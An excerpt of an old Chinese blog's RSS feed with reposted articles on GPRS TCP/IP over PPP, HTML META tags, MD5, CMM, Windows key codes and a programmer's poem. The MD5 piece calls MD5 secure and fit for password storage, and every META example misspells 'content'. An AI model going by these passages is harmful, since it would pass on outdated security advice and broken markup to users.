GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/106233.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/106233.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/106233.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/106233.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/106233.html</trackback:ping><description><![CDATA[GPRS应用中TCP/IP/PPP的基本概念<br /><br />GPRS应用中TCP/IP/PPP基本概念：（CDMA的原理与此差不多） 实际上GPRS DTU上实现的是协议栈是TCP/IP Over PPP。我们在使用时必须要有一些相应的概念。因此在下面我们就与baiyi-181P使用相关的一些事项作一些简要的说明，如果您想详细了解这些协议，请参见相关书籍： <br /><br />1． 每一次baiyi-181P拨ATD*99***1#(或ATD*99***1#)之后其实都在采用PPP协议和移动的接入设备（一般是移动公司的一台特殊的GGSN路由器）进行握手，当PPP协议握手成功后，baiyi-181P都会获得一个动态IP地址。一般来说，每一次baiyi-181P下线后（挂断连接或者直接断电后）在重新进行拨号和PPP握手后取得的动态IP地址都是不一样的。但是移动公司可以通过为客户开通特定的APN和发行特殊的SIM卡，使得用这张SIM卡获得的动态IP地址每一次都不变。也就是说可以做到SIM卡和IP地址绑定。 <br /><br />2． 我们在做测试时，应当注意到如下事实：在采用公网的Apn（“cmnet”）的条件下，如果我们用baiyi-181P主动向公网上的一个静态公网IP地址发起TCP连接，只要这个公网上的机器确实有侦听相应的端口，这样是可以连上的;但是相反地，如果是由公网上的静态IP向baiyi-181P动态获得的IP地址主动发起的TCP连接将不会成功。这个现象的原因是：实际上baiyi-181P获得的动态IP地址是移动的一个特殊的内部网段上的地址，这个特殊内部网段里的地址如果要和外部网（公网）的地址进行TCP通信，必须通过一个类似于TCP代理（或者NAT）的设备进行通信的转发。换句话说，这个动态地址对于网络上的其他机器来说是不可访问的。 <br /><br />3． 标准AT命令+CGDCONT的主要作用是指定Apn。Apn是Access Point Name（访问接入点）的缩写，移动通过开通特殊的Apn为行业客户提供Vpn(Virtual Private Net)服务。比如说，如果是要上公网（Internet）,应当使用“cmnet”作为Apn。又如，某企业向移动公司申请了Vpn服务，移动公司为其开通了一个Apn为“hxsw.gd”，则我们就应当用这个Apn来设置Gprs模块，格式如下： AT+CGDCONT=1,“IP”,“hxsw.gd” <br /><br />4． 确定一条TCP连接有4个要素，这4个要素是双方的IP地址和双方的TCP端口号，这也就是baiyi-181P为什么将本地端口、目的端口和目的IP地址结合起来作为连接的ID号（baiyi-181P在PPP握手成功后获得的动态地址只要不断线重连就不会改变）的原因。 <br /><br />5． 使用TCP协议进行数据通信时，必须要经过三个阶段，第一个阶段是连接建立阶段，第二个阶段是数据收发阶段，第三个阶段是连接释放阶段： <br /><br />1）.连接建立阶段：连接的建立又有主动连接和被动连接之分，一般来说客户机都是主动发起连接的，而服务器是被动接受连接的。 所谓的主动连接是指本方主动向远端发起连接请求， 而被动连接指的是本方侦听一个端口，等待远端及其主动向自己发起一个连接请求并且进行回应并且最终握手建链成功。 在连接成功，切换到数据态后，我们可以通过OPEN命令帧控制baiyi-181P 进行主动连接。当然，连接时要指定对方的IP地址和端口号。至于被动连接，baiyi-181P也可以支持，目前的程序只支持侦听一个端口。对方主动连接（baiyi-181P被动连接）成功后将建立一条新的通信连接，baiyi-181P将把这个被动连接成功的事件通知给上位机。 <br /><br />2）.数据收发阶段：当一条连接建立之后，我们就可以在这条连接上进行数据收发了。 我们可以使用SEND命令帧控制baiyi-181P进行数据发送。当然，发送时要指定连接号（通过本地端口、目的地址和端口唯一确定）。 对于对方发送过来的数据，baiyi-181P首先将其存储在自身的数据缓冲区中，然后将数据已到达此事件通知给上位机，上位机读取到数据已到达事件后，应当及时使用RECV命令帧控制baiyi-181P将相应连接上的所有数据通过串口读出，当数据读出后，这些数据原先占用的数据缓冲区空间将会被释放。注意，由于baiyi-181P的数据缓冲区有限（总量仅有25K Bytes）,所以，对于对方发来的数据，上位机一定要及时读出，否则数据越积越多，可能会导致数据缓冲区溢出，丢失数据。 <br /><br />3）.挂断连接阶段：当一条连接上的所有数据都已经收发完成了，不再需要这条连接时，就可以把连接给挂断了。 和连接建立阶段相类似，挂断也分为主动挂断和被动挂断。 我们可以使用RSET命令帧控制baiyi-181P进行连接的主动挂断。 如果连接被对方主动挂断，baiyi-181P将会把这个事件通知给上位机进行处理。 <br /><br /><img src ="http://www.blogjava.net/WshmAndLily/aggbug/106233.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-03-25 16:14 <a href="http://www.blogjava.net/WshmAndLily/articles/106233.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是META标签？(总结)</title><link>http://www.blogjava.net/WshmAndLily/articles/106216.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sun, 25 Mar 2007 07:16:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/106216.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/106216.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/106216.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/106216.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/106216.html</trackback:ping><description><![CDATA[meta是用来在HTML文档中模拟HTTP协议的响应头报文。meta 标签用于网页的&lt;head&gt;与&lt;/head&gt;中，meta 标签的用处很多。meta 的属性有两种：name和http-equiv。name属性主要用于描述网页，对应于content（网页内容），以便于搜索引擎机器人查找、分类（目前几乎所有的搜索引擎都使用网上机器人自动查找meta值来给网页分类）。这其中最重要的是description（站点在搜索引擎上的描述）和keywords（分类关键词），所以应该给每页加一个meta值。比较常用的有以下几个： <br /><br />　　 name 属性 <br /><br />　　 1、&lt;meta name="Generator" contect=""&gt;用以说明生成工具（如Microsoft FrontPage 4.0）等； <br /><br />　　 2、&lt;meta name="KEYWords" contect=""&gt;向搜索引擎说明你的网页的关键词； <br /><br />　　 3、&lt;meta name="DEscription" contect=""&gt;告诉搜索引擎你的站点的主要内容； <br /><br />　　 4、&lt;meta name="Author" contect="你的姓名"&gt;告诉搜索引擎你的站点的制作的作者； <br /><br />　　 5、&lt;meta name="Robots" contect= "all|none|index|noindex|follow|nofollow"&gt; <br /><br />　　 其中的属性说明如下： <br /><br />　　 设定为all：文件将被检索，且页面上的链接可以被查询； <br /><br />　　 设定为none：文件将不被检索，且页面上的链接不可以被查询； <br /><br />　　 设定为index：文件将被检索； <br /><br />　　 设定为follow：页面上的链接可以被查询； <br /><br />　　 设定为noindex：文件将不被检索，但页面上的链接可以被查询； <br /><br />　　 设定为nofollow：文件将不被检索，页面上的链接可以被查询。 <br /><br />　　 http-equiv属性 <br /><br />　　 1、&lt;meta http-equiv="Content-Type" contect="text/html";charset=gb_2312-80"&gt; <br /><br />和 &lt;meta http-equiv="Content-Language" contect="zh-CN"&gt;用以说明主页制作所使用的文字以及语言； <br /><br />　　 又如英文是ISO-8859-1字符集，还有BIG5、utf-8、shift-Jis、Euc、Koi8-2等字符集； <br /><br />　　 2、&lt;meta http-equiv="Refresh" contect="n;url=http://www.wnetw.net"&gt;定时让网页在指定的时间n内，跳转到页面 <a href="http://www.wnetw.net/"><font color="#000000">http://www.wnetw.net </font></a>； <br /><br />　　 3、&lt;meta http-equiv="Expires" contect="Mon,12 May 2001 00:20:00 GMT"&gt;可以用于设定网页的到期时间，一旦过期则必须到服务器上重新调用。需要注意的是必须使用GMT时间格式； <br /><br />　　 4、&lt;meta http-equiv="Pragma" contect="no-cache"&gt;是用于设定禁止浏览器从本地机的缓存中调阅页面内容，设定后一旦离开网页就无法从Cache中再调出； <br /><br />　　 5、&lt;meta http-equiv="set-cookie" contect="Mon,12 May 2001 00:20:00 GMT"&gt;cookie设定，如果网页过期，存盘的cookie将被删除。需要注意的也是必须使用GMT时间格式； <br /><br />　　 6、&lt;meta http-equiv="Pics-label" contect=""&gt;网页等级评定，在IE的internet选项中有一项内容设置，可以防止浏览一些受限制的网站，而网站的限制级别就是通过meta属性来设置的； <br /><br />　　 7、&lt;meta http-equiv="windows-Target" contect="_top"&gt;强制页面在当前窗口中以独立页面显示，可以防止自己的网页被别人当作一个frame页调用； <br /><br />　　 8、&lt;meta http-equiv="Page-Enter" contect="revealTrans(duration=10,transtion= 50)"&gt;和&lt;meta http-equiv="Page-Exit" contect="revealTrans(duration=20，transtion=6)"&gt;设定进入和离开页面时的特殊效果，这个功能即FrontPage中的“格式/网页过渡”，不过所加的页面不能够是一个frame页面。 <br /><img src ="http://www.blogjava.net/WshmAndLily/aggbug/106216.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-03-25 15:16 <a href="http://www.blogjava.net/WshmAndLily/articles/106216.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>MD5简介</title><link>http://www.blogjava.net/WshmAndLily/articles/103685.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 14 Mar 2007 00:44:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/103685.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/103685.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/103685.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/103685.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/103685.html</trackback:ping><description><![CDATA[
		<span style="COLOR: blue">所谓MD5，即"Message-Digest Algorithm 5（信息-摘要算法）"，它由MD2、MD3、MD4发展而来的一种单向函数算法（也就是HASH算法），它是国际著名的公钥加密算法标准RSA的第一设计者R.Rivest于上个世纪90年代初开发出来的。MD5的最大作用在于，将不同格式的大容量文件信息在用数字签名软件来签署私人密钥前"压缩"成一种保密的格式，关键之处在于——这种"压缩"是不可逆的。 <br /><br />为了让读者朋友对MD5的应用有个直观的认识，笔者以一个比方和一个实例来简要描述一下其工作过程： <br /><br />大家都知道，地球上任何人都有自己独一无二的指纹，这常常成为公安机关鉴别罪犯身份最值得信赖的方法；与之类似，MD5就可以为任何文件（不管其大小、格式、数量）产生一个同样独一无二的"数字指纹"，如果任何人对文件做了任何改动，其MD5值也就是对应的"数字指纹"都会发生变化。 <br /><br />我们常常在某些软件下载站点的某软件信息中看到其MD5值，它的作用就在于我们可以在下载该软件后，对下载回来的文件用专门的软件（如Windows MD5 Check等）做一次MD5校验，以确保我们获得的文件与该站点提供的文件为同一文件。利用MD5算法来进行文件校验的方案被大量应用到软件下载站、论坛数据库、系统文件安全等方面。 <br /><br />笔者上面提到的例子只是MD5的一个基本应用，实际上MD5还被用于加密解密技术上，如Unix、各类BSD系统登录密码（在MD5诞生前采用的是DES加密算法，后因MD5安全性更高，DES被淘汰）、通信信息加密（如大家熟悉的即时通信软件MyIM）、数字签名等诸多方面。<br /><br />MD5将任意长度的“字节串”变换成一个128bit的大整数，并且它是一个不可逆的字符串变换算法，换句话说就是，即使你看到源程序和算法描述，也无法将一个MD5的值变换回原始的字符串，从数学原理上说，是因为原始的字符串有无穷多个，这有点象不存在反函数的数学函数。 <br />MD5的典型应用是对一段Message(字节串)产生fingerprint(指纹)，以防止被“篡改”。举个例子，你将一段话写在一个叫 readme.txt文件中，并对这个readme.txt产生一个MD5的值并记录在案，然后你可以传播这个文件给别人，别人如果修改了文件中的任何内容，你对这个文件重新计算MD5时就会发现（两个MD5值不相同）。如果再有一个第三方的认证机构，用MD5还可以防止文件作者的“抵赖”，这就是所谓的数字签名应用。 <br />MD5还广泛用于加密和解密技术上，在很多操作系统中，用户的密码是以MD5值（或类似的其它算法）的方式保存的， 用户Login的时候，系统是把用户输入的密码计算成MD5值，然后再去和系统中保存的MD5值进行比较，而系统并不“知道”用户的密码是什么。<br /><br />所以，要遇到了md5密码的问题，比较好的办法是：你可以用这个系统中的md5()函数重新设一个密码，如admin,把生成的一串密码覆盖原来的就行了。</span>
		<br />
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/103685.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2007-03-14 08:44 <a href="http://www.blogjava.net/WshmAndLily/articles/103685.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>什么是内包、外包服务，还有CMM的意思</title><link>http://www.blogjava.net/WshmAndLily/articles/75817.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 18 Oct 2006 01:49:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/75817.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/75817.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/75817.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/75817.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/75817.html</trackback:ping><description><![CDATA[外包是美国对其公司把美国国内的工作外包给中国、印度等劳动力成本较低国家这种方法的统称。英文为outsourcing。 <br /><br />外包工作是世界全球化浪潮下的必然趋势。由于电脑及互联网技术的普及，许多发达国家的工作在发展中国家甚至不发达国家也可以做了。劳动力成本高的发达国家自然就把工作外包给了劳动力成本低的国家中的工人。 <br /><br />所谓的内包制，就是让所有的人员参与到经营中来，共担风险，共同受益，打破以往雇佣干活、老板付钱的传统，从而达到收益上的突破。 <br />内包也可以理解为把工作内包给自己机国家的其他企业。 <br /><br /><br /><br />CMM <br />背景介绍： CMM是“软件能力成熟度模型”的英文简写，该模型由美国卡内基-梅隆大学的软件工程研究所（简称SEI）受美国国防部委托，于1991年研究制定，初始的主要目的是为了评价美国国防部的软件合同承包组织的能力，后因为在软件企业应用CMM模型实施过程改进取得较大的成功，所以在全世界范围内被广泛使用，SEI同时建立了主任评估师评估制度，CMM的评估方法为CBA－IPI。 <br /><br />CMMI是SEI于2000年发布的CMM的新版本。CMMI不但包括了软件开发过程改进，还包含系统集成、软硬件采购等方面的过程改进内容。CMMI纠正了CMM存在的一些缺点，使其更加适用企业的过程改进实施。CMMI适用SCAMPI评估方法。需要注意的是，SEI没有废除CMM模型，只是停止了CMM评估方法：CBA－IPI。现在如要进行CMM评估，需使用SCAMPI方法。但CMMI模型最终代替CMM模型的趋势不可避免。 <br /><br />标准特点： CMM/CMMI/SPCA的思想来源于已有多年历史的产品质量管理和全面质量管理。Watts Humphrey和Ron Radice在IBM公司将全面质量管理的思想应用于软件工程过程，收到了很大的成效。SEI的软件能力成熟度框架就是在以Humphrey为主的软件专家实践经验的基础上发展而来的。软件能力成熟度模型中融合了全面质量管理的思想，以不断进化的层次反映了软件过程定量控制中项目管理和项目工程的基本原则。CMM/CMMI/SPCA所依据的想法是只要不断地对企业的工程过程的基础结构和实践进行管理和改进，就可以克服软硬件生产中的困难，增强开发制造能力，从而能按时地、不超预算地制造出高质量的软件产品。 <br /><br />CMM简介 <br /><br />CMM(Capability Maturity Model)是能力成熟度模型的缩写,CMM是国际公认的对软件公司进行成熟度等级认证的重要标准。CMM的工作最早开始于86年11月,当时为满足美国政府评估软件供应商能力并帮助其改善软件质量的要求,由美国国防部资助的卡内基—梅隆大学的软件工作研究所(SEI)牵头,在Mitre公司协助下,于87年9月发布了一份能力成熟度框架(Capability Maturity Framework)以及一套成熟度问卷(Maturity Questionnaire)。四年后，SEI在总结自87年以来对成熟度框架和初版成熟度问卷的经验基础上，推出了CMM1.0版。CMM10版在成熟度框架的基础上建立了一个可用的模型，该模型可以更加有效地帮助软件公司建立和实施过程改进计划。两年后，SEI于93年推出了CMM1.1版。近几年，SEI又推出了CMM2.0版，同时进入了ISO体系，称为ISO/IEC15504(软件过程评估)。 <br /><br />CMM共分五级。在每一级中，定义了达到该级过程管理水平所应解决的关键问题和关键过程。每一较低级别是达到较高级别的基础。其中五级是最高级，即优化级，达到该级的软件公司过程可自发地不断改进，防止同类问题二次出现；四级称为已管理级，达到该级的软件公司已实现过程的定量化；三级为已定义级，即过程实现标准化；二级为可重复级，达到该级的软件公司过程已制度化，有纪律，可重复；一级为初始级，过程无序，进度、预算、功能和质量等方面不可预测。 <br /><br />CMM致力于软件开发过程的管理和工程能力的提高与评估。该模型在美国和北美地区已得到广泛应用，同时越来越多的欧洲和亚洲等国家的软件公司正积极采纳CMM，CMM实际上已成为软件开发过程改进与评估事实上的工业标准。如今，全球通过CMM五级评估的软件公司大约有十几家，三级以上的大约有100余家，通过二级评估的有300家左右。软件大国印度在这方面工作开展的比较广泛，受益匪浅。目前，我国只有清华同方和IBM的合资公司——鼎新信息开发有限公司于99年7月通过CMM二级评估，该公司表示将争取早日通过CMM三级评估。 <br /><br />CMM与ISO9000的主要区别： <br /><br />1.CMM是专门针对软件产品开发和服务的，而ISO9000涉及的范围则相当宽。 <br /><br />2.CMM强调软件开发过程的成熟度，即过程的不断改进和提高。而ISO9000则强调可接收的质量体系的最低标准。 <br /><br />引进CMM的主要意义 <br /><br />一.对软件公司 <br /><br />1.提高软件公司软件开发的管理能力，因为CMM可提供软件公司自我评估的方法和自我提高的手段。 <br /><br />2.提高软件生产率。 <br /><br />3.提高软件质量。 <br /><br />4.提高软件公司的国内和国际竞争力。 <br /><br />二.对软件项目发包单位和软件用户 <br /><br />提供了对软件开发商开发管理水平的评估手段，有助于软件开发项目的风险识别。<img src ="http://www.blogjava.net/WshmAndLily/aggbug/75817.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2006-10-18 09:49 <a href="http://www.blogjava.net/WshmAndLily/articles/75817.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>按键   含义</title><link>http://www.blogjava.net/WshmAndLily/articles/65276.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 23 Aug 2006 06:59:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/65276.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/65276.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/65276.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/65276.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/65276.html</trackback:ping><description><![CDATA[
		<p>按键   含义<br />VK_LBUTTON Left mouse button<br />VK_RBUTTON Right mouse button<br />VK_CANCEL Control+Break<br />VK_MBUTTON Middle mouse button<br />VK_BACK Backspace key<br />VK_TAB Tab key<br />VK_CLEAR Clear key<br />VK_RETURN Enter key<br />VK_SHIFT Shift key<br />VK_CONTROL Ctrl key<br />VK_MENU Alt key<br />VK_PAUSE Pause key<br />VK_CAPITAL Caps Lock key<br />VK_KANA Used with IME<br />VK_HANGUL Used with IME<br />VK_JUNJA Used with IME<br />VK_FINAL Used with IME<br />VK_HANJA Used with IME<br />VK_KANJI Used with IME<br />VK_CONVERT Used with IME</p>
		<p>VK_NONCONVERT Used with IME<br />VK_ACCEPT Used with IME<br />VK_MODECHANGE Used with IME<br />VK_ESCAPE Esc key<br />VK_SPACE Space bar<br />VK_PRIOR Page Up key<br />VK_NEXT Page Down key<br />VK_END End key<br />VK_HOME Home key<br />VK_LEFT Left Arrow key<br />VK_UP Up Arrow key<br />VK_RIGHT Right Arrow key<br />VK_DOWN Down Arrow key<br />VK_SELECT Select key<br />VK_PRINT Print key (keyboard-specific)<br />VK_EXECUTE Execute key<br />VK_SNAPSHOT Print Screen key<br />VK_INSERT Insert key<br />VK_DELETE Delete key<br />VK_HELP Help key</p>
		<p>VK_LWIN Left Windows key (Microsoft keyboard)<br />VK_RWIN Right Windows key (Microsoft keyboard)<br />VK_APPS Applications key (Microsoft keyboard)<br />VK_NUMPAD0 0 key (numeric keypad)<br />VK_NUMPAD1 1 key (numeric keypad)<br />VK_NUMPAD2 2 key (numeric keypad)<br />VK_NUMPAD3 3 key (numeric keypad)<br />VK_NUMPAD4 4 key (numeric keypad)<br />VK_NUMPAD5 5 key (numeric keypad)<br />VK_NUMPAD6 6 key (numeric keypad)<br />VK_NUMPAD7 7 key (numeric keypad)<br />VK_NUMPAD8 8 key (numeric keypad)<br />VK_NUMPAD9 9 key (numeric keypad)</p>
		<p>VK_MULTIPLY Multiply key (numeric keypad)<br />VK_ADD Add key (numeric keypad)<br />VK_SEPARATOR Separator key (numeric keypad)<br />VK_SUBTRACT Subtract key (numeric keypad)<br />VK_DECIMAL Decimal key (numeric keypad)<br />VK_DIVIDE Divide key (numeric keypad)<br />VK_F1 F1 key<br />VK_F2 F2 key<br />VK_F3 F3 key<br />VK_F4 F4 key<br />VK_F5 F5 key<br />VK_F6 F6 key<br />VK_F7 F7 key<br />VK_F8 F8 key<br />VK_F9 F9 key<br />VK_F10 F10 key<br />VK_F11 F11 key<br />VK_F12 F12 key<br />VK_F13 F13 key<br />VK_F14 F14 key<br />VK_F15 F15 key</p>
		<p>VK_F16 F16 key<br />VK_F17 F17 key<br />VK_F18 F18 key<br />VK_F19 F19 key<br />VK_F20 F20 key<br />VK_F21 F21 key<br />VK_F22 F22 key<br />VK_F23 F23 key<br />VK_F24 F24 key<br />VK_NUMLOCK Num Lock key<br />VK_SCROLL Scroll Lock key<br />VK_LSHIFT Left Shift key (only used with GetAsyncKeyState and GetKeyState)<br />VK_RSHIFT Right Shift key (only used with GetAsyncKeyState and GetKeyState)<br />VK_LCONTROL Left Ctrl key (only used with GetAsyncKeyState and GetKeyState)<br />VK_RCONTROL Right Ctrl key (only used with GetAsyncKeyState and GetKeyState)</p>
		<p>VK_LMENU Left Alt key (only used with GetAsyncKeyState and GetKeyState)<br />VK_RMENU Right Alt key (only used with GetAsyncKeyState and GetKeyState)<br />VK_PROCESSKEY Process key<br />VK_ATTN Attn key<br />VK_CRSEL CrSel key<br />VK_EXSEL ExSel key<br />VK_EREOF Erase EOF key<br />VK_PLAY Play key<br />VK_ZOOM Zoom key<br />VK_NONAME Reserved for future use<br />VK_PA1 PA1 key<br />VK_OEM_CLEAR Clear key <br /></p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/65276.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2006-08-23 14:59 <a href="http://www.blogjava.net/WshmAndLily/articles/65276.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>注册表应用100例</title><link>http://www.blogjava.net/WshmAndLily/articles/63201.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 12 Aug 2006 06:01:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/63201.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/63201.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/63201.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/63201.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/63201.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 1 修改窗口滚动条的大小（Windows 9x/2000/XP）（1）打开注册表编辑器。（2）打开HKEY_CURRENT_USER\Control Panel\Desktop\Windows Metrics子键。（3）右边窗口中的ScrollHeight和ScrollWidth是窗口滚动条的高和宽,默认值为-270（均以Windows 9x为例，Windows 2000/XP的默认值与其相差不大...&nbsp;&nbsp;<a href='http://www.blogjava.net/WshmAndLily/articles/63201.html'>阅读全文</a><img src ="http://www.blogjava.net/WshmAndLily/aggbug/63201.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2006-08-12 14:01 <a href="http://www.blogjava.net/WshmAndLily/articles/63201.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序员之诗</title><link>http://www.blogjava.net/WshmAndLily/articles/63197.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Sat, 12 Aug 2006 05:51:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/63197.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/63197.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/63197.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/63197.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/63197.html</trackback:ping><description><![CDATA[
		<p class="MsoNormal" style="MARGIN: 0mm 0mm 0pt">
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">写字楼里写字间，写字间里程序员；</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">程序人员写程序，<a name="0"></a>又拿程序换酒钱。</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">酒醒只在网上坐，酒醉还来网下眠；</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">酒醉酒醒日复日，网上网下年复年。</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">但愿老死电脑间，不愿鞠躬老板前；</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">奔驰宝马贵者趣，公交自行程序员。</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">别人笑我忒疯癫，我笑自己命太贱；</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<br />
				</span>
				<span lang="ZH-CN" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">不见满街漂亮妹，哪个归得程序员。</span>
				<span lang="EN-US" style="FONT-FAMILY: 'MS UI Gothic'; mso-bidi-font-family: 'ＭＳ 明朝'; mso-fareast-language: ZH-CN">
						<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /?>
						<o:p>
						</o:p>
				</span>
		</p>
<img src ="http://www.blogjava.net/WshmAndLily/aggbug/63197.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/WshmAndLily/" target="_blank">semovy</a> 2006-08-12 13:51 <a href="http://www.blogjava.net/WshmAndLily/articles/63197.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>键码常数 </title><link>http://www.blogjava.net/WshmAndLily/articles/45462.html</link><dc:creator>semovy</dc:creator><author>semovy</author><pubDate>Wed, 10 May 2006 07:09:00 GMT</pubDate><guid>http://www.blogjava.net/WshmAndLily/articles/45462.html</guid><wfw:comment>http://www.blogjava.net/WshmAndLily/comments/45462.html</wfw:comment><comments>http://www.blogjava.net/WshmAndLily/articles/45462.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/WshmAndLily/comments/commentRss/45462.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/WshmAndLily/services/trackbacks/45462.html</trackback:ping><description><![CDATA[
		<p align="center">
				<font size="5">
						<strong>键码常数</strong>
				</font>
		</p>
		<p>
